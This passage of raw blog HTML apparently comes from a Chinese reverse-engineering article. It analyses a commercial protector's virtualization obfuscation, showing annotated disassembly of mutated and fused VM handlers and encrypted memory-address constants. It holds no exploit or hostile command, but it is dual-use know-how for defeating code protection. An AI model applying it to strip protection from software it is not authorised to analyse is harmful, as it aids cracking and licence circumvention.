leaf="">ss</span><span leaf="">:</span><span leaf="">[esp+edx*8-0x5819839E]</span><span leaf="">,<span class="code-snippet__number">0</span></span><span leaf="">x84</span><span leaf="">     |</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">0046</span></span><span leaf="">E9AC</span><span leaf=""> | </span><span leaf="">inc</span><span leaf="">eax</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">0046</span></span><span leaf="">E9AD</span><span leaf=""> | </span><span leaf="">jmp</span><span leaf=""><span class="code-snippet__number">123</span></span><span leaf="">.vmp</span><span leaf="">模版+部分</span><span leaf="">.490ABF</span><span leaf="">                         |</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">00490</span></span><span leaf="">ABF</span><span leaf=""> | </span><span leaf="">or</span><span leaf="">word</span><span leaf="">ptr</span><span leaf="">ss</span><span leaf="">:</span><span leaf="">[esp+edx*8-0x581983A0]</span><span leaf="">,</span><span leaf="">dx</span><span leaf="">        |</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">00490</span></span><span leaf="">AC7</span><span leaf=""> | </span><span leaf="">movsx</span><span leaf="">ecx</span><span leaf="">,</span><span leaf="">dx</span><span leaf="">                                    |</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">00490</span></span><span leaf="">ACA</span><span leaf=""> | </span><span leaf="">rol</span><span leaf="">eax</span><span leaf="">,<span class="code-snippet__number">0</span></span><span leaf="">x2</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">00490</span></span><span leaf="">ACD</span><span leaf=""> | </span><span leaf="">shl</span><span leaf="">dword</span><span leaf="">ptr</span><span leaf="">ss</span><span leaf="">:</span><span leaf="">[esp+edx-0xB033074]</span><span leaf="">,</span><span leaf="">cl</span><span leaf="">         |</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">00490</span></span><span leaf="">AD4</span><span leaf=""> | </span><span leaf="">xor</span><span leaf="">ebx</span><span leaf="">,</span><span leaf="">eax</span><span leaf=""><span class="code-snippet__comment">//解密加数完成           </span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">00490</span></span><span leaf="">AD6</span><span leaf=""> | </span><span leaf="">or</span><span leaf="">cl</span><span leaf="">,</span><span leaf="">byte</span><span leaf="">ptr</span><span leaf="">ss</span><span leaf="">:</span><span leaf="">[esp+edx-0xB033071]</span><span leaf=""><span class="code-snippet__comment">//增加前置cf标志清零指令，执行完cf = 0</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">00490</span></span><span leaf="">ADD</span><span leaf=""> | </span><span leaf="">adc</span><span leaf="">edi</span><span leaf="">,</span><span leaf="">eax</span><span leaf=""><span class="code-snippet__comment">//add指令的变体                         </span></span></code></pre></p><p><span leaf="" mpa-font-style="moiavzih1mw0" style="font-size: 15px;">第2点：内存地址常数加密，一条包含内存操作数的指令，那么他的内存操作数通常有几种情况。</span></p><p><span leaf="" mpa-font-style="moiavzih1q7b" style="font-size: 15px;">只有内存地址常数 例如 mov eax,dword ptr ss:[0x123]</span><span leaf=""><br/></span><span leaf="" mpa-font-style="moiavzih11sn" style="font-size: 15px;">只有基址寄存器 mov dword ptr ss:[esp], 0x123</span><span leaf=""><br/></span><span leaf="" mpa-font-style="moiavzih14j6" style="font-size: 15px;">基址寄存器+索引寄存器+内存地址常数 mov dword ptr ss:[esp+edi+0x123], 0x123</span></p><p><span leaf="" mpa-font-style="moiavzihcfp" style="font-size: 15px;">如果内存地址常数0也算进去，那么一条包含内存操作数的指令，他的内存操作数就都含有内存地址常数，那么这个内存地址常数就可以被用来加密了。</span></p><p data-mpa-preserve-tpl-color="t" data-mpa-template="t" mpa-preserve="t" mpa-from-tpl="t"><pre style="margin:0;padding:0;border-radius:none;background:none;"><code style="border-radius: 4px;font-size: 15px;margin: 0px 0.15em;background: rgb(40, 44, 52);color: rgb(171, 178, 191);display: block;padding: 5.95px;overflow-x: auto;" mpa-font-style="moiavzih1wpp"><span leaf=""><span class="code-snippet__comment">//这条指令此时伪代码寄存器是ebp，这时候的ecx是07400000，那么这里面的内存地址常数</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment">//其实是-5,这个-5加上ebp就是当前伪代码的指针</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">00433</span>C60 | movzx eax,byte ptr ds:[ecx+ebp<span class="code-snippet__number">-0x7400005</span>]     </span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">00433</span>C68 | ror ecx,<span class="code-snippet__number">0x77</span>                                    |</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">00433</span>C6B | <span class="code-snippet__keyword">not</span> cx                                          |</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">00433</span>C6E | <span class="code-snippet__keyword">and</span> cl,cl                                       |</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">00433</span>C70 | <span class="code-snippet__keyword">xor</span> al,bl           </span></code></pre></p><p><span leaf="" mpa-font-style="moiavzihvc" style="font-size: 15px;">写到这里有些人可能觉得这样子有什么意义呢？除了让代码变得更加复杂难看点，其他还有什么作用呢？这个问题问的好，作者可不是这么想的，他的每一个地方的改动都是根据编写分析插件的思路来的，我猜测原作者团队里面应该有专门开发分析插件的部门，他的每一次更新都是会收集所有能够找到的分析资料进行修复，那么这些改动对于我们编写分析插件来说影响是相当大的，3.8之前还能使用指令文本特征进行匹配从而来识别Handler的方法这里已经完全失效了。</span></p><p><span leaf="" mpa-font-style="moiavzih1xfv" style="font-size: 15px;">第3点：Handler的变形，这里面的Handler变形只存在于包含计算虚拟寄存器地址的Handler。</span></p><p><span leaf="" mpa-font-style="moiavzih1dpp" style="font-size: 15px;">handler PushVR32：</span></p><p data-mpa-preserve-tpl-color="t" data-mpa-template="t" mpa-preserve="t" mpa-from-tpl="t"><pre style="margin:0;padding:0;border-radius:none;background:none;"><code style="border-radius: 4px;font-size: 15px;margin: 0px 0.15em;background: rgb(40, 44, 52);color: rgb(171, 178, 191);display: block;padding: 5.95px;overflow-x: auto;" mpa-font-style="moiavzih22op"><span leaf=""><span class="code-snippet__number">004</span></span><span leaf="">BF2B6</span><span leaf=""> | </span><span leaf="">movzx</span><span leaf="">eax</span><span leaf="">,</span><span leaf="">byte</span><span leaf="">ptr</span><span leaf="">ss</span><span leaf="">:</span><span leaf="">[ebp-0xB]</span><span leaf=""><span class="code-snippet__comment">//读取伪代码</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">004</span></span><span leaf="">BF2BB</span><span leaf=""> | </span><span leaf="">xor</span><span leaf="">al</span><span leaf="">,</span><span leaf="">bl</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">004</span></span><span leaf="">BF2BD</span><span leaf=""> | </span><span leaf="">mov</span><span leaf="">ecx</span><span leaf="">,</span><span leaf="">dword</span><span leaf="">ptr</span><span leaf="">ss</span><span leaf="">:</span><span leaf="">[esp+0xC]</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">004</span></span><span leaf="">BF2C1</span><span leaf=""> | </span><span leaf="">add</span><span leaf="">ecx</span><span leaf="">,<span class="code-snippet__number">0</span></span><span leaf="">xFFFEE8B1</span><span leaf="">                              |</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">004</span></span><span leaf="">BF2C7</span><span leaf=""> | </span><span leaf="">jmp</span><span leaf="">ecx</span><span leaf="">                                         |</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">0044</span></span><span leaf="">D3C2</span><span leaf=""> | </span><span leaf="">neg</span><span leaf="">al</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">0044</span></span><span leaf="">D3C4</span><span leaf=""> | </span><span leaf="">inc</span><span leaf="">al</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">0044</span></span><span leaf="">D3C6</span><span leaf=""> | </span><span leaf="">neg</span><span leaf="">al</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">0044</span></span><span leaf="">D3C8</span><span leaf=""> | </span><span leaf="">mov</span><span leaf="">edx</span><span leaf="">,</span><span leaf="">dword</span><span leaf="">ptr</span><span leaf="">ss</span><span leaf="">:</span><span leaf="">[esp+0x2D]</span><span leaf="">                 |</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">0044</span></span><span leaf="">D3CC</span><span leaf=""> | </span><span leaf="">not</span><span leaf="">edx</span><span leaf="">                                         |</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">0044</span></span><span leaf="">D3CE</span><span leaf=""> | </span><span leaf="">inc</span><span leaf="">al</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">0044</span></span><span leaf="">D3D0</span><span leaf=""> | </span><span leaf="">movzx</span><span leaf="">ecx</span><span leaf="">,</span><span leaf="">dx</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">0044</span></span><span leaf="">D3D3</span><span leaf=""> | </span><span leaf="">xor</span><span leaf="">bl</span><span leaf="">,</span><span leaf="">al</span><span leaf=""><span class="code-snippet__comment">//解密出偏移                </span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">0044</span></span><span leaf="">D3D5</span><span leaf=""> | </span><span leaf="">add</span><span leaf="">ecx</span><span leaf="">,<span class="code-snippet__number">0</span></span><span leaf="">xD3A68C98</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">0044</span></span><span leaf="">D3DB</span><span leaf=""> | </span><span leaf="">lea</span><span leaf="">eax</span><span leaf="">,</span><span leaf="">dword</span><span leaf="">ptr</span><span leaf="">ss</span><span leaf="">:</span><span leaf="">[esp+eax+0x3C]</span><span leaf=""><span class="code-snippet__comment">//算出虚拟寄存器地址 </span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">0044</span></span><span leaf="">D3DF</span><span leaf=""> | </span><span leaf="">or</span><span leaf="">edx</span><span leaf="">,</span><span leaf="">edx</span><span leaf="">                                      |</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">0044</span></span><span leaf="">D3E1</span><span leaf=""> | </span><span leaf="">xchg</span><span leaf="">dword</span><span leaf="">ptr</span><span leaf="">ss</span><span leaf="">:</span><span leaf="">[esp+0x1C]</span><span leaf="">,</span><span leaf="">edx</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">0044</span></span><span leaf="">D3E5</span><span leaf=""> | </span><span leaf="">adc</span><span leaf="">edx</span><span leaf="">,<span class="code-snippet__number">0</span></span><span leaf="">xFFFD3506</span><span leaf="">                              |</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">0044</span></span><span leaf="">D3EB</span><span leaf=""> | </span><span leaf="">jmp</span><span leaf="">edx</span><span leaf="">                                         |</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">0042075</span></span><span leaf="">C</span><span leaf=""> | </span><span leaf="">mov</span><span leaf="">edx</span><span leaf="">,</span><span leaf="">dword</span><span leaf="">ptr</span><span leaf="">ds</span><span leaf="">:</span><span leaf="">[eax]</span><span leaf=""><span class="code-snippet__comment">//取出虚拟寄存器的值</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">0042075</span></span><span leaf="">E</span><span leaf=""> | </span><span leaf="">mov</span><span leaf="">dword</span><span leaf="">ptr</span><span leaf="">ds</span><span leaf="">:</span><span leaf="">[esi-0x1C]</span><span leaf="">,</span><span leaf="">edx</span><span leaf=""><span class="code-snippet__comment">//值写入虚拟栈</span></span></code></pre></p><p><span leaf="" mpa-font-style="moiavzih21z3" style="font-size: 15px;">变形后：</span></p><p data-mpa-preserve-tpl-color="t" data-mpa-template="t" mpa-preserve="t" mpa-from-tpl="t"><pre style="margin:0;padding:0;border-radius:none;background:none;"><code style="border-radius: 4px;font-size: 15px;margin: 0px 0.15em;background: rgb(40, 44, 52);color: rgb(171, 178, 191);display: block;padding: 5.95px;overflow-x: auto;" mpa-font-style="moiavzih1546"><span leaf=""><span class="code-snippet__number">00420766</span> | </span><span leaf="">lea</span><span leaf="">ecx</span><span leaf="">,</span><span leaf="">dword</span><span leaf="">ptr</span><span leaf="">ss</span><span leaf="">:</span><span leaf="">[esp+ecx-0x2C596EE3]</span><span leaf=""><span class="code-snippet__comment">//算出虚拟寄存器地址 </span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">0042076</span></span><span leaf="">D</span><span leaf=""> | </span><span leaf="">mov</span><span leaf="">eax</span><span leaf="">,</span><span leaf="">dword</span><span leaf="">ptr</span><span leaf="">ds</span><span leaf="">:</span><span leaf="">[ecx]</span><span leaf=""><span class="code-snippet__comment">//取出虚拟寄存器的值  </span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">0042076</span></span><span leaf="">F</span><span leaf=""> | </span><span leaf="">mov</span><span leaf="">dword</span><span leaf="">ptr</span><span leaf="">ds</span><span leaf="">:</span><span leaf="">[esi-0x20]</span><span leaf="">,</span><span leaf="">eax</span><span leaf=""><span class="code-snippet__comment">//值写入虚拟栈</span></span></code></pre></p><p><span leaf="" mpa-font-style="moiavzih1up6" style="font-size: 15px;">第4点：Handler的一级融合，这里面Handler与Handler之间本来是上一条Handler执行完在结尾跳到下一条handelr去执行，那么每条Handler中都有一个专门计算下一条handelr地址的代码块，这个代码块都有读取伪代码的操作，经过融合后，下一条用来计算handelr地址的伪代码被丢弃了，同时计算下一条handelr地址的代码块也没有了。</span></p><p><span leaf="" mpa-font-style="moiavzih1up6" style="font-size: 15px;">那么两条Handler使用跳转指令或者直接连接变成一条Handler，那么后面的Handler同样可以这样子接上去，有点像人体蜈蚣。</span></p><p data-mpa-preserve-tpl-color="t" data-mpa-template="t" mpa-preserve="t" mpa-from-tpl="t"><pre style="margin:0;padding:0;border-radius:none;background:none;"><code style="border-radius: 4px;font-size: 15px;margin: 0px 0.15em;background: rgb(40, 44, 52);color: rgb(171, 178, 191);display: block;padding: 5.95px;overflow-x: auto;" mpa-font-style="moiavzih9jm"><span leaf=""><span class="code-snippet__comment">//第一条handler PushVR32的变形</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">00479089</span> | </span><span leaf="">mov</span><span leaf="">dword</span><span leaf="">ptr</span><span leaf="">ss</span><span leaf="">:</span><span leaf="">[esp+edx*2-0x2]</span><span leaf="">,</span><span leaf="">edx</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">0047908</span></span><span leaf="">D</span><span leaf=""> | </span><span leaf="">sub</span><span leaf="">dword</span><span leaf="">ptr</span><span leaf="">ss</span><span leaf="">:</span><span leaf="">[esp+edx*2+0x16]</span><span leaf="">,<span class="code-snippet__number">0</span></span><span leaf="">x8B38041C</span><span leaf="">    |</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">00479095</span> | </span><span leaf="">movzx</span><span leaf="">eax</span><span leaf="">,</span><span leaf="">byte</span><span leaf="">ptr</span><span leaf="">ss</span><span leaf="">:</span><span leaf="">[esp+edx+0xA]</span><span leaf="">             |</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">0047909</span></span><span leaf="">A</span><span leaf=""> | </span><span leaf="">lea</span><span leaf="">ecx</span><span leaf="">,</span><span leaf="">dword</span><span leaf="">ptr</span><span leaf="">ss</span><span leaf="">:</span><span leaf="">[esp+edx+0x55]</span><span leaf=""><span class="code-snippet__comment">//算出虚拟寄存器地址 </span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">0047909</span></span><span leaf="">E</span><span leaf=""> | </span><span leaf="">mov</span><span leaf="">eax</span><span leaf="">,</span><span leaf="">dword</span><span leaf="">ptr</span><span leaf="">ds</span><span leaf="">:</span><span leaf="">[ecx+edx-0x3]</span><span leaf=""><span class="code-snippet__comment">//取出虚拟寄存器的值  </span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">004790</span></span><span leaf="">A2</span><span leaf=""> | </span><span leaf="">shl</span><span leaf="">dx</span><span leaf="">,<span class="code-snippet__number">0</span></span><span leaf="">x68</span><span leaf="">                                     |</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">004790</span></span><span leaf="">A6</span><span leaf=""> | </span><span leaf="">mov</span><span leaf="">dword</span><span leaf="">ptr</span><span leaf="">ds</span><span leaf="">:</span><span leaf="">[edi+edx*8-0x1808]</span><span leaf="">,</span><span leaf="">eax</span><span leaf=""><span class="code-snippet__comment">//值写入虚拟栈</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment">//第二条handler PushVR32的变形</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">004790</span></span><span leaf="">AD</span><span leaf=""> | </span><span leaf="">mov</span><span leaf="">eax</span><span leaf="">,</span><span leaf="">edx</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">004790</span></span><span leaf="">AF</span><span leaf=""> | </span><span leaf="">xadd</span><span leaf="">byte</span><span leaf="">ptr</span><span leaf="">ss</span><span leaf="">:</span><span leaf="">[esp+edx-0x2F9]</span><span leaf="">,</span><span leaf="">dl</span><span leaf="">             |</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">004790</span></span><span leaf="">B7</span><span leaf=""> | </span><span leaf="">call</span><span leaf=""><span class="code-snippet__number">123</span></span><span leaf="">.vmp</span><span leaf="">模版+部分</span><span leaf="">.4B01CD</span><span leaf="">                        |</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">004</span></span><span leaf="">B01CD</span><span leaf=""> | </span><span leaf="">lea</span><span leaf="">ecx</span><span leaf="">,</span><span leaf="">dword</span><span leaf="">ptr</span><span leaf="">ss</span><span leaf="">:</span><span leaf="">[esp+edx*4-0xB80]</span><span leaf=""><span class="code-snippet__comment">//算出虚拟寄存器地址 </span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">004</span></span><span leaf="">B01D4</span><span leaf=""> | </span><span leaf="">jo</span><span leaf=""><span class="code-snippet__number">123</span></span><span leaf="">.vmp</span><span leaf="">模版+部分</span><span leaf="">.520FD5</span><span leaf="">                          |</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">004</span></span><span leaf="">B01DA</span><span leaf=""> | </span><span leaf="">mov</span><span leaf="">eax</span><span leaf="">,</span><span leaf="">dword</span><span leaf="">ptr</span><span leaf="">ds</span><span leaf="">:</span><span leaf="">[ecx+edx*8-0x1800]</span><span leaf=""><span class="code-snippet__comment">//取出虚拟寄存器的值      </span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">004</span></span><span leaf="">B01E1</span><span leaf=""> | </span><span leaf="">lea</span><span leaf="">ecx</span><span leaf="">,</span><span leaf="">dword</span><span leaf="">ptr</span><span leaf="">ds</span><span leaf="">:</span><span leaf="">[edx+edx*2+0x6BAEF303]</span><span leaf="">     |</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">004</span></span><span leaf="">B01E8</span><span leaf=""> | </span><span leaf="">mov</span><span leaf="">dword</span><span leaf="">ptr</span><span leaf="">ds</span><span leaf="">:</span><span leaf="">[edi+edx*4-0xC0C]</span><span leaf="">,</span><span leaf="">eax</span><span leaf=""><span class="code-snippet__comment">//值写入虚拟栈</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment">//第三条handler PushVR32的变形</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">004</span></span><span leaf="">B01EF</span><span leaf=""> | </span><span leaf="">lea</span><span leaf="">ecx</span><span leaf="">,</span><span leaf="">dword</span><span leaf="">ptr</span><span leaf="">ds</span><span leaf="">:</span><span leaf="">[edx+edx-0x50DA8F6D]</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">004</span></span><span leaf="">B01F6</span><span leaf=""> | </span><span leaf="">or</span><span leaf="">dl</span><span leaf="">,</span><span leaf="">byte</span><span leaf="">ptr</span><span leaf="">ss</span><span leaf="">:</span><span leaf="">[esp+edx-0x2FB]</span><span leaf="">               |</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">004</span></span><span leaf="">B01FD</span><span leaf=""> | </span><span leaf="">neg</span><span leaf="">edx</span><span leaf="">                                         |</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">004</span></span><span leaf="">B01FF</span><span leaf=""> | </span><span leaf="">lea</span><span leaf="">eax</span><span leaf="">,</span><span leaf="">dword</span><span leaf="">ptr</span><span leaf="">ss</span><span leaf="">:</span><span leaf="">[esp+0x44]</span><span leaf=""><span class="code-snippet__comment">//算出虚拟寄存器地址   </span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">004</span></span><span leaf="">B0203</span><span leaf=""> | </span><span leaf="">ror</span><span leaf="">dword</span><span leaf="">ptr</span><span leaf="">ss</span><span leaf="">:</span><span leaf="">[esp+0xF]</span><span leaf="">,</span><span leaf="">cl</span><span leaf="">                   |</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">004</span></span><span leaf="">B0207</span><span leaf=""> | </span><span leaf="">pop</span><span leaf="">ecx</span><span leaf="">                                         |</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">004</span></span><span leaf="">B0208</span><span leaf=""> | </span><span leaf="">add</span><span leaf="">ecx</span><span leaf="">,<span class="code-snippet__number">0</span></span><span leaf="">xFFFDC76A</span><span leaf="">                              |</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">004</span></span><span leaf="">B020E</span><span leaf=""> | </span><span leaf="">jmp</span><span leaf="">ecx</span><span leaf="">                                         |</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">00455826</span> | </span><span leaf="">pop</span><span leaf="">edx</span><span leaf="">                                         |</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">00455827</span> | </span><span leaf="">mov</span><span leaf="">edx</span><span leaf="">,</span><span leaf="">dword</span><span leaf="">ptr</span><span leaf="">ds</span><span leaf="">:</span><span leaf="">[eax]</span><span leaf=""><span class="code-snippet__comment">//取出虚拟寄存器的值  </span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">00455829</span> | </span><span leaf="">call</span><span leaf=""><span class="code-snippet__number">123</span></span><span leaf="">.vmp</span><span leaf="">模版+部分</span><span leaf="">.44DAE9</span><span leaf="">                        |</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">0044</span></span><span leaf="">DAE9</span><span leaf=""> | </span><span leaf="">mov</span><span leaf="">dword</span><span leaf="">ptr</span><span leaf="">ds</span><span leaf="">:</span><span leaf="">[edi-0x10]</span><span leaf="">,</span><span leaf="">edx</span><span leaf=""><span class="code-snippet__comment">//值写入虚拟栈</span></span></code></pre></p><p><span leaf="" mpa-font-style="moiavzih1wqf" style="font-size: 15px;">第5点：Handler的二级融合，在一级融合的基础上还有二级融合，比如执行模拟加法运算的Handler组合。首先第一条Handler是从伪代码读取常数作为加数，第二条Handler是从伪代码读取常数作为被加数，第三条Handler是执行加法运算，以前的handler逻辑是第一条和第二条handler，从伪代码读取到加数和被加数都是放到虚拟栈中去。然后第三条加法handler从虚拟栈中获取两个加数和被加数再执行ADD指令，在这里他把值放到虚拟栈中的指令给丢弃了，直接绑定了对应的寄存器。</span></p><p><span leaf="" mpa-font-style="moiavzih1wqf" style="font-size: 15px;">例如第一条Handler读取的值存放到eax，第二条Handler读取的值存放到ecx,第三条handelr直接执行add eax,ecx,算出的结果在eax，同样可以不放到虚拟栈中，参与第四条handler的运算。</span></p><p data-mpa-preserve-tpl-color="t" data-mpa-template="t" mpa-preserve="t" mpa-from-tpl="t"><pre style="margin:0;padding:0;border-radius:none;background:none;"><code style="border-radius: 4px;font-size: 15px;margin: 0px 0.15em;background: rgb(40, 44, 52);color: rgb(171, 178, 191);display: block;padding: 5.95px;overflow-x: auto;" mpa-font-style="moiavzih1v0l"><span leaf=""><span class="code-snippet__comment">//PushVR8点变形</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">0043</span></span><span leaf="">B239</span><span leaf=""> | </span><span leaf="">lea</span><span leaf="">edx</span><span leaf="">,</span><span leaf="">dword</span><span leaf="">ptr</span><span leaf="">ss</span><span leaf="">:</span><span leaf="">[esp+0x50]</span><span leaf=""><span class="code-snippet__comment">//算出虚拟寄存器地址    </span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">0043</span></span><span leaf="">B23D</span><span leaf=""> | </span><span leaf="">mov</span><span leaf="">ecx</span><span leaf="">,<span class="code-snippet__number">0</span></span><span leaf="">x489D36B2</span><span leaf="">                              |</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">0043</span></span><span leaf="">B242</span><span leaf=""> | </span><span leaf="">sar</span><span leaf="">ecx</span><span leaf="">,<span class="code-snippet__number">0</span></span><span leaf="">x45</span><span leaf="">                                    |</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">0043</span></span><span leaf="">B245</span><span leaf=""> | </span><span leaf="">ror</span><span leaf="">cl</span><span leaf="">,<span class="code-snippet__number">0</span></span><span leaf="">x67</span><span leaf="">                                     |</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">0043</span></span><span leaf="">B248</span><span leaf=""> | </span><span leaf="">movzx</span><span leaf="">cx</span><span leaf="">,</span><span leaf="">byte</span><span leaf="">ptr</span><span leaf="">ds</span><span leaf="">:</span><span leaf="">[ecx+edx-0x244E96B]</span><span leaf=""><span class="code-snippet__comment">//取出虚拟寄存器的值存入cx</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">0043</span></span><span leaf="">B251</span><span leaf=""> | </span><span leaf="">jb</span><span leaf=""><span class="code-snippet__number">123</span></span><span leaf="">.vmp</span><span leaf="">模版+部分</span><span leaf="">.48BAC5</span><span leaf="">                          |</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">0043</span></span><span leaf="">B257</span><span leaf=""> | </span><span leaf="">mov</span><span leaf="">eax</span><span leaf="">,<span class="code-snippet__number">0</span></span><span leaf="">xFF9BE60E</span><span leaf="">                              |</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">0043</span></span><span leaf="">B25C</span><span leaf=""> | </span><span leaf="">mov</span><span leaf="">dx</span><span leaf="">,</span><span leaf="">cx</span><span leaf=""><span class="code-snippet__comment">//将cx的值转移到dx，这个其实也可以算作一个混淆大点</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">0043</span></span><span leaf="">B25F</span><span leaf=""> | </span><span leaf="">shl</span><span leaf="">eax</span><span leaf="">,<span class="code-snippet__number">0</span></span><span leaf="">xB1</span><span leaf=""><span class="code-snippet__comment">//到这来并没有将读取到的值存入到虚拟栈中去         </span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment">//PopVR8</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">0043</span></span><span leaf="">B262</span><span leaf=""> | </span><span leaf="">movzx</span><span leaf="">ecx</span><span leaf="">,</span><span leaf="">byte</span><span leaf="">ptr</span><span leaf="">ss</span><span leaf="">:</span><span leaf="">[ebp-0x6]</span><span leaf=""><span class="code-snippet__comment">//读取伪代码   </span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">0043</span></span><span leaf="">B267</span><span leaf=""> | </span><span leaf="">pop</span><span leaf="">eax</span><span leaf="">                                         |</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">0043</span></span><span leaf="">B268</span><span leaf=""> | </span><span leaf="">add</span><span leaf="">eax</span><span leaf="">,<span class="code-snippet__number">0</span></span><span leaf="">xD15B</span><span leaf="">                                  |</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">0043</span></span><span leaf="">B26D</span><span leaf=""> | </span><span leaf="">jmp</span><span leaf="">eax</span><span leaf="">                                         |</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">00499668</span> | </span><span leaf="">xor</span><span leaf="">cl</span><span leaf="">,</span><span leaf="">bl</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">0049966</span></span><span leaf="">A</span><span leaf=""> | </span><span leaf="">mov</span><span leaf="">eax</span><span leaf="">,<span class="code-snippet__number">0</span></span><span leaf="">x822BE31F</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">0049966</span></span><span leaf="">F</span><span leaf=""> | </span><span leaf="">shl</span><span leaf="">al</span><span leaf="">,<span class="code-snippet__number">0</span></span><span leaf="">xC6</span><span leaf="">                                     |</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">00499672</span> | </span><span leaf="">sub</span><span leaf="">ax</span><span leaf="">,<span class="code-snippet__number">0</span></span><span leaf="">x923B</span><span leaf="">                                   |</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">00499676</span> | </span><span leaf="">xor</span><span leaf="">cl</span><span leaf="">,<span class="code-snippet__number">0</span></span><span leaf="">x3E</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">00499679</span> | </span><span leaf="">not</span><span leaf="">cl</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">0049967</span></span><span leaf="">B</span><span leaf=""> | </span><span leaf="">jmp</span><span leaf=""><span class="code-snippet__number">123</span></span><span leaf="">.vmp</span><span leaf="">模版+部分</span><span leaf="">.4570F0</span><span leaf="">                         |</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">004570</span></span><span leaf="">F0</span><span leaf=""> | </span><span leaf="">push</span><span leaf="">eax</span><span leaf="">                                        |</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">004570</span></span><span leaf="">F1</span><span leaf=""> | </span><span leaf="">add</span><span leaf="">cl</span><span leaf="">,<span class="code-snippet__number">0</span></span><span leaf="">xA3</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">004570</span></span><span leaf="">F4</span><span leaf=""> | </span><span leaf="">xor</span><span leaf="">ax</span><span leaf="">,</span><span leaf="">ax</span><span leaf="">                                       |</span><span leaf=""><br/></span><span leaf=""><span 